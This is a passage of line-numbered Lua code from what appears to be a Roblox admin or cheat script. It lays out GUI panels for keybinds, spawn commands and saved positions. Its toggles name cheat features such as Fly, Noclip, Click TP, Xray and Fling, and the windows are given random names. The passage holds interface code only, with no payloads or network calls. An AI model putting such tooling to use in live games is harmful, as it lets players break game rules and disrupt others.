  723. Delete_2.Size = UDim2.new(0, 40, 0, 20)
  724. Delete_2.Font = Enum.Font.SourceSans
  725. Delete_2.TextSize = 14
  726. Delete_2.Text = "Delete"
  727. Delete_2.TextColor3 = Color3.new(0, 0, 0)
  728. Delete_2.ZIndex = 10
  729. table.insert(shade3,Delete_2)
  730. table.insert(text2,Delete_2)
  731.  
  732. KeybindEditor.Name = randomString()
  733. KeybindEditor.Parent = PARENT
  734. KeybindEditor.Active = true
  735. KeybindEditor.BackgroundTransparency = 1
  736. KeybindEditor.Position = UDim2.new(0.5, -180, 0, -400)
  737. KeybindEditor.Size = UDim2.new(0, 360, 0, 20)
  738. KeybindEditor.ZIndex = 10
  739.  
  740. background_2.Name = "background"
  741. background_2.Parent = KeybindEditor
  742. background_2.Active = true
  743. background_2.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  744. background_2.BorderSizePixel = 0
  745. background_2.Position = UDim2.new(0, 0, 0, 20)
  746. background_2.Size = UDim2.new(0, 360, 0, 185)
  747. background_2.ZIndex = 10
  748. table.insert(shade1,background_2)
  749.  
  750. Dark_4.Name = "Dark"
  751. Dark_4.Parent = background_2
  752. Dark_4.Active = true
  753. Dark_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  754. Dark_4.BorderSizePixel = 0
  755. Dark_4.Position = UDim2.new(0, 135, 0, 0)
  756. Dark_4.Size = UDim2.new(0, 2, 0, 185)
  757. Dark_4.ZIndex = 10
  758. table.insert(shade2,Dark_4)
  759.  
  760. Directions.Name = "Directions"
  761. Directions.Parent = background_2
  762. Directions.BackgroundTransparency = 1
  763. Directions.BorderSizePixel = 0
  764. Directions.Position = UDim2.new(0, 10, 0, 15)
  765. Directions.Size = UDim2.new(0, 115, 0, 90)
  766. Directions.Font = Enum.Font.SourceSans
  767. Directions.TextSize = 14
  768. Directions.Text = "Click the button below and press a key/mouse button. Then select what you want to bind it to."
  769. Directions.TextColor3 = Color3.new(1, 1, 1)
  770. Directions.TextWrapped = true
  771. Directions.TextYAlignment = Enum.TextYAlignment.Top
  772. Directions.ZIndex = 10
  773. table.insert(text1,Directions)
  774.  
  775. BindTo.Name = "BindTo"
  776. BindTo.Parent = background_2
  777. BindTo.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  778. BindTo.BorderSizePixel = 0
  779. BindTo.Position = UDim2.new(0, 10, 0, 95)
  780. BindTo.Size = UDim2.new(0, 115, 0, 75)
  781. BindTo.Font = Enum.Font.SourceSans
  782. BindTo.TextSize = 16
  783. BindTo.Text = "Click to bind"
  784. BindTo.TextColor3 = Color3.new(1, 1, 1)
  785. BindTo.ZIndex = 10
  786. table.insert(shade2,BindTo)
  787. table.insert(text1,BindTo)
  788.  
  789. Add_2.Name = "Add"
  790. Add_2.Parent = background_2
  791. Add_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  792. Add_2.BorderSizePixel = 0
  793. Add_2.Position = UDim2.new(0, 310, 0, 20)
  794. Add_2.Size = UDim2.new(0, 40, 0, 20)
  795. Add_2.Font = Enum.Font.SourceSans
  796. Add_2.TextSize = 14
  797. Add_2.Text = "Add"
  798. Add_2.TextColor3 = Color3.new(1, 1, 1)
  799. Add_2.ZIndex = 10
  800. table.insert(shade2,Add_2)
  801. table.insert(text1,Add_2)
  802.  
  803. Cmdbar_2.Name = "Cmdbar"
  804. Cmdbar_2.Parent = background_2
  805. Cmdbar_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  806. Cmdbar_2.BorderSizePixel = 0
  807. Cmdbar_2.Position = UDim2.new(0, 150, 0, 20)
  808. Cmdbar_2.Size = UDim2.new(0, 150, 0, 20)
  809. Cmdbar_2.Font = Enum.Font.SourceSans
  810. Cmdbar_2.TextSize = 14
  811. Cmdbar_2.Text = "Command"
  812. Cmdbar_2.TextColor3 = Color3.new(1, 1, 1)
  813. Cmdbar_2.TextScaled = true
  814. Cmdbar_2.TextWrapped = true
  815. Cmdbar_2.ZIndex = 10
  816. table.insert(shade2,Cmdbar_2)
  817. table.insert(text1,Cmdbar_2)
  818.  
  819. Toggles.Name = "Toggles"
  820. Toggles.Parent = background_2
  821. Toggles.BackgroundTransparency = 1
  822. Toggles.BorderSizePixel = 0
  823. Toggles.Position = UDim2.new(0, 150, 0, 50)
  824. Toggles.Size = UDim2.new(0, 200, 0, 125)
  825. Toggles.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  826. Toggles.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  827. Toggles.CanvasSize = UDim2.new(0, 0, 0, 195)
  828. Toggles.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  829. Toggles.ScrollBarThickness = 8
  830. Toggles.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  831. Toggles.VerticalScrollBarInset = 'Always'
  832. Toggles.ZIndex = 10
  833. table.insert(scroll,Toggles)
  834.  
  835. Fly.Name = "Fly"
  836. Fly.Parent = Toggles
  837. Fly.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  838. Fly.BorderSizePixel = 0
  839. Fly.Size = UDim2.new(0, 192, 0, 20)
  840. Fly.Font = Enum.Font.SourceSans
  841. Fly.TextSize = 14
  842. Fly.Text = " Toggle Fly"
  843. Fly.TextColor3 = Color3.new(1, 1, 1)
  844. Fly.TextXAlignment = Enum.TextXAlignment.Left
  845. Fly.ZIndex = 10
  846. table.insert(shade2,Fly)
  847. table.insert(text1,Fly)
  848.  
  849. Select_3.Name = "Select"
  850. Select_3.Parent = Fly
  851. Select_3.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  852. Select_3.BorderSizePixel = 0
  853. Select_3.Position = UDim2.new(0, 152, 0, 0)
  854. Select_3.Size = UDim2.new(0, 40, 0, 20)
  855. Select_3.Font = Enum.Font.SourceSans
  856. Select_3.TextSize = 14
  857. Select_3.Text = "Add"
  858. Select_3.TextColor3 = Color3.new(0, 0, 0)
  859. Select_3.ZIndex = 10
  860. table.insert(shade3,Select_3)
  861. table.insert(text2,Select_3)
  862.  
  863. Noclip.Name = "Noclip"
  864. Noclip.Parent = Toggles
  865. Noclip.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  866. Noclip.BorderSizePixel = 0
  867. Noclip.Position = UDim2.new(0, 0, 0, 25)
  868. Noclip.Size = UDim2.new(0, 192, 0, 20)
  869. Noclip.Font = Enum.Font.SourceSans
  870. Noclip.TextSize = 14
  871. Noclip.Text = " Toggle Noclip"
  872. Noclip.TextColor3 = Color3.new(1, 1, 1)
  873. Noclip.TextXAlignment = Enum.TextXAlignment.Left
  874. Noclip.ZIndex = 10
  875. table.insert(shade2,Noclip)
  876. table.insert(text1,Noclip)
  877.  
  878. Select_4.Name = "Select"
  879. Select_4.Parent = Noclip
  880. Select_4.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  881. Select_4.BorderSizePixel = 0
  882. Select_4.Position = UDim2.new(0, 152, 0, 0)
  883. Select_4.Size = UDim2.new(0, 40, 0, 20)
  884. Select_4.Font = Enum.Font.SourceSans
  885. Select_4.TextSize = 14
  886. Select_4.Text = "Add"
  887. Select_4.TextColor3 = Color3.new(0, 0, 0)
  888. Select_4.ZIndex = 10
  889. table.insert(shade3,Select_4)
  890. table.insert(text2,Select_4)
  891.  
  892. Float.Name = "Float"
  893. Float.Parent = Toggles
  894. Float.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  895. Float.BorderSizePixel = 0
  896. Float.Position = UDim2.new(0, 0, 0, 50)
  897. Float.Size = UDim2.new(0, 192, 0, 20)
  898. Float.Font = Enum.Font.SourceSans
  899. Float.TextSize = 14
  900. Float.Text = " Toggle Float"
  901. Float.TextColor3 = Color3.new(1, 1, 1)
  902. Float.TextXAlignment = Enum.TextXAlignment.Left
  903. Float.ZIndex = 10
  904. table.insert(shade2,Float)
  905. table.insert(text1,Float)
  906.  
  907. Select_5.Name = "Select"
  908. Select_5.Parent = Float
  909. Select_5.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  910. Select_5.BorderSizePixel = 0
  911. Select_5.Position = UDim2.new(0, 152, 0, 0)
  912. Select_5.Size = UDim2.new(0, 40, 0, 20)
  913. Select_5.Font = Enum.Font.SourceSans
  914. Select_5.TextSize = 14
  915. Select_5.Text = "Add"
  916. Select_5.TextColor3 = Color3.new(0, 0, 0)
  917. Select_5.ZIndex = 10
  918. table.insert(shade3,Select_5)
  919. table.insert(text2,Select_5)
  920.  
  921. ClickTP.Name = "Click TP"
  922. ClickTP.Parent = Toggles
  923. ClickTP.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  924. ClickTP.BorderSizePixel = 0
  925. ClickTP.Position = UDim2.new(0, 0, 0, 75)
  926. ClickTP.Size = UDim2.new(0, 192, 0, 20)
  927. ClickTP.Font = Enum.Font.SourceSans
  928. ClickTP.TextSize = 14
  929. ClickTP.Text = " Click TP (Hold Key & Click)"
  930. ClickTP.TextColor3 = Color3.new(1, 1, 1)
  931. ClickTP.TextXAlignment = Enum.TextXAlignment.Left
  932. ClickTP.ZIndex = 10
  933. table.insert(shade2,ClickTP)
  934. table.insert(text1,ClickTP)
  935.  
  936. Select_6.Name = "Select"
  937. Select_6.Parent = ClickTP
  938. Select_6.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  939. Select_6.BorderSizePixel = 0
  940. Select_6.Position = UDim2.new(0, 152, 0, 0)
  941. Select_6.Size = UDim2.new(0, 40, 0, 20)
  942. Select_6.Font = Enum.Font.SourceSans
  943. Select_6.TextSize = 14
  944. Select_6.Text = "Add"
  945. Select_6.TextColor3 = Color3.new(0, 0, 0)
  946. Select_6.ZIndex = 10
  947. table.insert(shade3,Select_6)
  948. table.insert(text2,Select_6)
  949.  
  950. ClickDelete.Name = "Click Delete"
  951. ClickDelete.Parent = Toggles
  952. ClickDelete.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  953. ClickDelete.BorderSizePixel = 0
  954. ClickDelete.Position = UDim2.new(0, 0, 0, 100)
  955. ClickDelete.Size = UDim2.new(0, 192, 0, 20)
  956. ClickDelete.Font = Enum.Font.SourceSans
  957. ClickDelete.TextSize = 14
  958. ClickDelete.Text = " Click Delete (Hold Key & Click)"
  959. ClickDelete.TextColor3 = Color3.new(1, 1, 1)
  960. ClickDelete.TextXAlignment = Enum.TextXAlignment.Left
  961. ClickDelete.ZIndex = 10
  962. table.insert(shade2,ClickDelete)
  963. table.insert(text1,ClickDelete)
  964.  
  965. Select_13.Name = "Select"
  966. Select_13.Parent = ClickDelete
  967. Select_13.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  968. Select_13.BorderSizePixel = 0
  969. Select_13.Position = UDim2.new(0, 152, 0, 0)
  970. Select_13.Size = UDim2.new(0, 40, 0, 20)
  971. Select_13.Font = Enum.Font.SourceSans
  972. Select_13.TextSize = 14
  973. Select_13.Text = "Add"
  974. Select_13.TextColor3 = Color3.new(0, 0, 0)
  975. Select_13.ZIndex = 10
  976. table.insert(shade3,Select_13)
  977. table.insert(text2,Select_13)
  978.  
  979. Xray.Name = "Xray"
  980. Xray.Parent = Toggles
  981. Xray.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  982. Xray.BorderSizePixel = 0
  983. Xray.Position = UDim2.new(0, 0, 0, 125)
  984. Xray.Size = UDim2.new(0, 192, 0, 20)
  985. Xray.Font = Enum.Font.SourceSans
  986. Xray.TextSize = 14
  987. Xray.Text = " Toggle Xray"
  988. Xray.TextColor3 = Color3.new(1, 1, 1)
  989. Xray.TextXAlignment = Enum.TextXAlignment.Left
  990. Xray.ZIndex = 10
  991. table.insert(shade2,Xray)
  992. table.insert(text1,Xray)
  993.  
  994. Select_10.Name = "Select"
  995. Select_10.Parent = Xray
  996. Select_10.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  997. Select_10.BorderSizePixel = 0
  998. Select_10.Position = UDim2.new(0, 152, 0, 0)
  999. Select_10.Size = UDim2.new(0, 40, 0, 20)
  1000. Select_10.Font = Enum.Font.SourceSans
  1001. Select_10.TextSize = 14
  1002. Select_10.Text = "Add"
  1003. Select_10.TextColor3 = Color3.new(0, 0, 0)
  1004. Select_10.ZIndex = 10
  1005. table.insert(shade3,Select_10)
  1006. table.insert(text2,Select_10)
  1007.  
  1008. Swim.Name = "Swim"
  1009. Swim.Parent = Toggles
  1010. Swim.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1011. Swim.BorderSizePixel = 0
  1012. Swim.Position = UDim2.new(0, 0, 0, 150)
  1013. Swim.Size = UDim2.new(0, 192, 0, 20)
  1014. Swim.Font = Enum.Font.SourceSans
  1015. Swim.TextSize = 14
  1016. Swim.Text = " Toggle Swim"
  1017. Swim.TextColor3 = Color3.new(1, 1, 1)
  1018. Swim.TextXAlignment = Enum.TextXAlignment.Left
  1019. Swim.ZIndex = 10
  1020. table.insert(shade2,Swim)
  1021. table.insert(text1,Swim)
  1022.  
  1023. Select_11.Name = "Select"
  1024. Select_11.Parent = Swim
  1025. Select_11.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1026. Select_11.BorderSizePixel = 0
  1027. Select_11.Position = UDim2.new(0, 152, 0, 0)
  1028. Select_11.Size = UDim2.new(0, 40, 0, 20)
  1029. Select_11.Font = Enum.Font.SourceSans
  1030. Select_11.TextSize = 14
  1031. Select_11.Text = "Add"
  1032. Select_11.TextColor3 = Color3.new(0, 0, 0)
  1033. Select_11.ZIndex = 10
  1034. table.insert(shade3,Select_11)
  1035. table.insert(text2,Select_11)
  1036.  
  1037. Fling.Name = "Fling"
  1038. Fling.Parent = Toggles
  1039. Fling.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1040. Fling.BorderSizePixel = 0
  1041. Fling.Position = UDim2.new(0, 0, 0, 175)
  1042. Fling.Size = UDim2.new(0, 192, 0, 20)
  1043. Fling.Font = Enum.Font.SourceSans
  1044. Fling.TextSize = 14
  1045. Fling.Text = " Toggle Fling"
  1046. Fling.TextColor3 = Color3.new(1, 1, 1)
  1047. Fling.TextXAlignment = Enum.TextXAlignment.Left
  1048. Fling.ZIndex = 10
  1049. table.insert(shade2,Fling)
  1050. table.insert(text1,Fling)
  1051.  
  1052. Select_12.Name = "Select"
  1053. Select_12.Parent = Fling
  1054. Select_12.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1055. Select_12.BorderSizePixel = 0
  1056. Select_12.Position = UDim2.new(0, 152, 0, 0)
  1057. Select_12.Size = UDim2.new(0, 40, 0, 20)
  1058. Select_12.Font = Enum.Font.SourceSans
  1059. Select_12.TextSize = 14
  1060. Select_12.Text = "Add"
  1061. Select_12.TextColor3 = Color3.new(0, 0, 0)
  1062. Select_12.ZIndex = 10
  1063. table.insert(shade3,Select_12)
  1064. table.insert(text2,Select_12)
  1065.  
  1066. shadow_2.Name = "shadow"
  1067. shadow_2.Parent = KeybindEditor
  1068. shadow_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1069. shadow_2.BorderSizePixel = 0
  1070. shadow_2.Size = UDim2.new(0, 360, 0, 20)
  1071. shadow_2.ZIndex = 10
  1072. table.insert(shade2,shadow_2)
  1073.  
  1074. PopupText_2.Name = "PopupText"
  1075. PopupText_2.Parent = shadow_2
  1076. PopupText_2.BackgroundTransparency = 1
  1077. PopupText_2.Position = UDim2.new(0, 51, 0, 0)
  1078. PopupText_2.Size = UDim2.new(0.76, -16, 0.95, 0)
  1079. PopupText_2.ZIndex = 10
  1080. PopupText_2.Font = Enum.Font.SourceSans
  1081. PopupText_2.TextSize = 14
  1082. PopupText_2.Text = "Set Keybinds"
  1083. PopupText_2.TextColor3 = Color3.new(1, 1, 1)
  1084. PopupText_2.TextWrapped = true
  1085. table.insert(text1,PopupText_2)
  1086.  
  1087. Exit_2.Name = "Exit"
  1088. Exit_2.Parent = shadow_2
  1089. Exit_2.BackgroundTransparency = 1
  1090. Exit_2.Size = UDim2.new(0, 20, 0, 20)
  1091. Exit_2.ZIndex = 10
  1092. Exit_2.Image = "rbxassetid://2132544126"
  1093.  
  1094. SpawnCFrame.Name = "SpawnCFrame"
  1095. SpawnCFrame.Parent = Settings
  1096. SpawnCFrame.Active = true
  1097. SpawnCFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1098. SpawnCFrame.BorderSizePixel = 0
  1099. SpawnCFrame.Position = UDim2.new(0, 0, 0, 175)
  1100. SpawnCFrame.Size = UDim2.new(0, 250, 0, 175)
  1101. SpawnCFrame.ZIndex = 10
  1102. table.insert(shade1,SpawnCFrame)
  1103.  
  1104. Holder_6.Name = "Holder"
  1105. Holder_6.Parent = SpawnCFrame
  1106. Holder_6.BackgroundTransparency = 1
  1107. Holder_6.BorderSizePixel = 0
  1108. Holder_6.Position = UDim2.new(0, 0, 0, 0)
  1109. Holder_6.Selectable = false
  1110. Holder_6.Size = UDim2.new(0, 250, 0, 145)
  1111. Holder_6.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1112. Holder_6.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1113. Holder_6.CanvasSize = UDim2.new(0, 0, 0, 0)
  1114. Holder_6.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1115. Holder_6.ScrollBarThickness = 8
  1116. Holder_6.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1117. Holder_6.VerticalScrollBarInset = 'Always'
  1118. Holder_6.ZIndex = 10
  1119.  
  1120. Close_5.Name = "Close"
  1121. Close_5.Parent = SpawnCFrame
  1122. Close_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1123. Close_5.BorderSizePixel = 0
  1124. Close_5.Position = UDim2.new(0, 205, 0, 150)
  1125. Close_5.Size = UDim2.new(0, 40, 0, 20)
  1126. Close_5.Font = Enum.Font.SourceSans
  1127. Close_5.TextSize = 14
  1128. Close_5.Text = "Close"
  1129. Close_5.TextColor3 = Color3.new(1, 1, 1)
  1130. Close_5.ZIndex = 10
  1131. table.insert(shade2,Close_5)
  1132. table.insert(text1,Close_5)
  1133.  
  1134. Add_4.Name = "Add"
  1135. Add_4.Parent = SpawnCFrame
  1136. Add_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1137. Add_4.BorderSizePixel = 0
  1138. Add_4.Position = UDim2.new(0, 5, 0, 150)
  1139. Add_4.Size = UDim2.new(0, 40, 0, 20)
  1140. Add_4.Font = Enum.Font.SourceSans
  1141. Add_4.TextSize = 14
  1142. Add_4.Text = "Add"
  1143. Add_4.TextColor3 = Color3.new(1, 1, 1)
  1144. Add_4.ZIndex = 10
  1145. table.insert(shade2,Add_4)
  1146. table.insert(text1,Add_4)
  1147.  
  1148. Delete_8.Name = "Delete"
  1149. Delete_8.Parent = SpawnCFrame
  1150. Delete_8.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1151. Delete_8.BorderSizePixel = 0
  1152. Delete_8.Position = UDim2.new(0, 50, 0, 150)
  1153. Delete_8.Size = UDim2.new(0, 40, 0, 20)
  1154. Delete_8.Font = Enum.Font.SourceSans
  1155. Delete_8.TextSize = 14
  1156. Delete_8.Text = "Clear"
  1157. Delete_8.TextColor3 = Color3.new(1, 1, 1)
  1158. Delete_8.ZIndex = 10
  1159. table.insert(shade2,Delete_8)
  1160. table.insert(text1,Delete_8)
  1161.  
  1162. SpawnCEditor.Name = randomString()
  1163. SpawnCEditor.Parent = PARENT
  1164. SpawnCEditor.Active = true
  1165. SpawnCEditor.BackgroundTransparency = 1
  1166. SpawnCEditor.Position = UDim2.new(0.5, -180, 0, -400)
  1167. SpawnCEditor.Size = UDim2.new(0, 360, 0, 20)
  1168. SpawnCEditor.ZIndex = 10
  1169.  
  1170. background_4.Name = "background"
  1171. background_4.Parent = SpawnCEditor
  1172. background_4.Active = true
  1173. background_4.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1174. background_4.BorderSizePixel = 0
  1175. background_4.Position = UDim2.new(0, 0, 0, 20)
  1176. background_4.Size = UDim2.new(0, 360, 0, 75)
  1177. background_4.ZIndex = 10
  1178. table.insert(shade1,background_4)
  1179.  
  1180. Cmdbar_3.Name = "Cmdbar"
  1181. Cmdbar_3.Parent = background_4
  1182. Cmdbar_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1183. Cmdbar_3.BorderSizePixel = 0
  1184. Cmdbar_3.Position = UDim2.new(0, 150, 0, 45)
  1185. Cmdbar_3.Size = UDim2.new(0, 150, 0, 20)
  1186. Cmdbar_3.Font = Enum.Font.SourceSans
  1187. Cmdbar_3.TextSize = 16
  1188. Cmdbar_3.Text = "Command"
  1189. Cmdbar_3.TextColor3 = Color3.new(1, 1, 1)
  1190. Cmdbar_3.TextScaled = true
  1191. Cmdbar_3.TextWrapped = true
  1192. Cmdbar_3.ZIndex = 10
  1193. table.insert(shade2,Cmdbar_3)
  1194. table.insert(text1,Cmdbar_3)
  1195.  
  1196. Add_5.Name = "Add"
  1197. Add_5.Parent = background_4
  1198. Add_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1199. Add_5.BorderSizePixel = 0
  1200. Add_5.Position = UDim2.new(0, 310, 0, 45)
  1201. Add_5.Size = UDim2.new(0, 40, 0, 20)
  1202. Add_5.Font = Enum.Font.SourceSans
  1203. Add_5.TextSize = 14
  1204. Add_5.Text = "Add"
  1205. Add_5.TextColor3 = Color3.new(1, 1, 1)
  1206. Add_5.ZIndex = 10
  1207. table.insert(shade2,Add_5)
  1208. table.insert(text1,Add_5)
  1209.  
  1210. DelayNum.Name = "DelayNum"
  1211. DelayNum.Parent = background_4
  1212. DelayNum.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1213. DelayNum.BorderSizePixel = 0
  1214. DelayNum.Position = UDim2.new(0, 310, 0, 15)
  1215. DelayNum.Size = UDim2.new(0, 40, 0, 20)
  1216. DelayNum.Font = Enum.Font.SourceSans
  1217. DelayNum.TextSize = 14
  1218. DelayNum.Text = "0"
  1219. DelayNum.TextColor3 = Color3.new(1, 1, 1)
  1220. DelayNum.TextScaled = true
  1221. DelayNum.TextWrapped = true
  1222. DelayNum.ZIndex = 10
  1223. table.insert(shade2,DelayNum)
  1224. table.insert(text1,DelayNum)
  1225.  
  1226. DelayT.Name = "Delay"
  1227. DelayT.Parent = background_4
  1228. DelayT.BackgroundTransparency = 1
  1229. DelayT.BorderSizePixel = 0
  1230. DelayT.Position = UDim2.new(0, 150, 0, 15)
  1231. DelayT.Size = UDim2.new(0, 150, 0, 20)
  1232. DelayT.Font = Enum.Font.SourceSans
  1233. DelayT.TextSize = 14
  1234. DelayT.Text = "Delay (seconds) (0 for none)"
  1235. DelayT.TextColor3 = Color3.new(1, 1, 1)
  1236. DelayT.TextWrapped = true
  1237. DelayT.ZIndex = 10
  1238. table.insert(text1,DelayT)
  1239.  
  1240. Directions_3.Name = "Directions"
  1241. Directions_3.Parent = background_4
  1242. Directions_3.BackgroundTransparency = 1
  1243. Directions_3.BorderSizePixel = 0
  1244. Directions_3.Position = UDim2.new(0, 20, 0, 10)
  1245. Directions_3.Size = UDim2.new(0, 98, 0, 60)
  1246. Directions_3.Font = Enum.Font.SourceSans
  1247. Directions_3.TextSize = 14
  1248. Directions_3.Text = "Spawn commands automatically get executed when you spawn."
  1249. Directions_3.TextColor3 = Color3.new(1, 1, 1)
  1250. Directions_3.TextWrapped = true
  1251. Directions_3.TextYAlignment = Enum.TextYAlignment.Top
  1252. Directions_3.ZIndex = 10
  1253. table.insert(text1,Directions_3)
  1254.  
  1255. Dark_11.Name = "Dark"
  1256. Dark_11.Parent = background_4
  1257. Dark_11.Active = true
  1258. Dark_11.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1259. Dark_11.BorderSizePixel = 0
  1260. Dark_11.Position = UDim2.new(0.378, 0, 0, 0)
  1261. Dark_11.Size = UDim2.new(0, 2, 0, 75)
  1262. Dark_11.ZIndex = 10
  1263. table.insert(shade2,Dark_11)
  1264.  
  1265. shadow_4.Name = "shadow"
  1266. shadow_4.Parent = SpawnCEditor
  1267. shadow_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1268. shadow_4.BorderSizePixel = 0
  1269. shadow_4.Size = UDim2.new(0, 360, 0, 20)
  1270. shadow_4.ZIndex = 10
  1271. table.insert(shade2,shadow_4)
  1272.  
  1273. PopupText_4.Name = "PopupText"
  1274. PopupText_4.Parent = shadow_4
  1275. PopupText_4.BackgroundTransparency = 1
  1276. PopupText_4.Position = UDim2.new(0, 51, 0, 0)
  1277. PopupText_4.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  1278. PopupText_4.ZIndex = 10
  1279. PopupText_4.Font = Enum.Font.SourceSans
  1280. PopupText_4.TextSize = 14
  1281. PopupText_4.Text = "Set Spawn Commands"
  1282. PopupText_4.TextColor3 = Color3.new(1, 1, 1)
  1283. PopupText_4.TextWrapped = true
  1284. table.insert(text1,PopupText_4)
  1285.  
  1286. Exit_4.Name = "Exit"
  1287. Exit_4.Parent = shadow_4
  1288. Exit_4.BackgroundTransparency = 1
  1289. Exit_4.Size = UDim2.new(0, 20, 0, 20)
  1290. Exit_4.ZIndex = 10
  1291. Exit_4.Image = "rbxassetid://2132544126"
  1292.  
  1293. PositionsFrame.Name = "PositionsFrame"
  1294. PositionsFrame.Parent = Settings
  1295. PositionsFrame.Active = true
  1296. PositionsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1297. PositionsFrame.BorderSizePixel = 0
  1298. PositionsFrame.Size = UDim2.new(0, 250, 0, 175)
  1299. PositionsFrame.Position = UDim2.new(0, 0, 0, 175)
  1300. PositionsFrame.ZIndex = 10
  1301. table.insert(shade1,PositionsFrame)
  1302.  
  1303. Close_3.Name = "Close"
  1304. Close_3.Parent = PositionsFrame
  1305. Close_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1306. Close_3.BorderSizePixel = 0
  1307. Close_3.Position = UDim2.new(0, 205, 0, 150)
  1308. Close_3.Size = UDim2.new(0, 40, 0, 20)
  1309. Close_3.Font = Enum.Font.SourceSans
  1310. Close_3.TextSize = 14
  1311. Close_3.Text = "Close"
  1312. Close_3.TextColor3 = Color3.new(1, 1, 1)
  1313. Close_3.ZIndex = 10
  1314. table.insert(shade2,Close_3)
  1315. table.insert(text1,Close_3)
  1316.  
  1317. Delete_5.Name = "Delete"
  1318. Delete_5.Parent = PositionsFrame
  1319. Delete_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1320. Delete_5.BorderSizePixel = 0
  1321. Delete_5.Position = UDim2.new(0, 50, 0, 150)
  1322. Delete_5.Size = UDim2.new(0, 40, 0, 20)
  1323. Delete_5.Font = Enum.Font.SourceSans
  1324. Delete_5.TextSize = 14
  1325. Delete_5.Text = "Clear"
  1326. Delete_5.TextColor3 = Color3.new(1, 1, 1)
  1327. Delete_5.ZIndex = 10
  1328. table.insert(shade2,Delete_5)
  1329. table.insert(text1,Delete_5)
  1330.  
  1331. Part.Name = "PartGoto"
  1332. Part.Parent = PositionsFrame
  1333. Part.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1334. Part.BorderSizePixel = 0
  1335. Part.Position = UDim2.new(0, 5, 0, 150)
  1336. Part.Size = UDim2.new(0, 40, 0, 20)
  1337. Part.Font = Enum.Font.SourceSans
  1338. Part.TextSize = 14
  1339. Part.Text = "Part"
  1340. Part.TextColor3 = Color3.new(1, 1, 1)
  1341. Part.ZIndex = 10
  1342. table.insert(shade2,Part)
  1343. table.insert(text1,Part)
  1344.  
  1345. Holder_4.Name = "Holder"
  1346. Holder_4.Parent = PositionsFrame
  1347. Holder_4.BackgroundTransparency = 1
  1348. Holder_4.BorderSizePixel = 0
  1349. Holder_4.Position = UDim2.new(0, 0, 0, 0)
  1350. Holder_4.Selectable = false
  1351. Holder_4.Size = UDim2.new(0, 250, 0, 145)
  1352. Holder_4.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1353. Holder_4.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1354. Holder_4.CanvasSize = UDim2.new(0, 0, 0, 0)
  1355. Holder_4.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1356. Holder_4.ScrollBarThickness = 8
  1357. Holder_4.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1358. Holder_4.VerticalScrollBarInset = 'Always'
  1359. Holder_4.ZIndex = 10
  1360.  
  1361. Example_4.Name = "Example"
  1362. Example_4.Parent = PositionsFrame
  1363. Example_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1364. Example_4.BorderSizePixel = 0
  1365. Example_4.Size = UDim2.new(0, 10, 0, 20)
  1366. Example_4.Visible = false
  1367. Example_4.Position = UDim2.new(0, 0, 0, -5)
  1368. Example_4.ZIndex = 10
  1369. table.insert(shade2,Example_4)
  1370.  
  1371. Text_5.Name = "Text"
  1372. Text_5.Parent = Example_4
  1373. Text_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1374. Text_5.BorderSizePixel = 0
  1375. Text_5.Position = UDim2.new(0, 10, 0, 0)
  1376. Text_5.Size = UDim2.new(0, 240, 0, 20)
  1377. Text_5.Font = Enum.Font.SourceSans
  1378. Text_5.TextSize = 14
  1379. Text_5.Text = "Position"
  1380. Text_5.TextColor3 = Color3.new(1, 1, 1)
  1381. Text_5.TextXAlignment = Enum.TextXAlignment.Left
  1382. Text_5.ZIndex = 10
  1383. table.insert(shade2,Text_5)
  1384. table.insert(text1,Text_5)
  1385.  
  1386. Delete_6.Name = "Delete"
  1387. Delete_6.Parent = Text_5
  1388. Delete_6.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1389. Delete_6.BorderSizePixel = 0
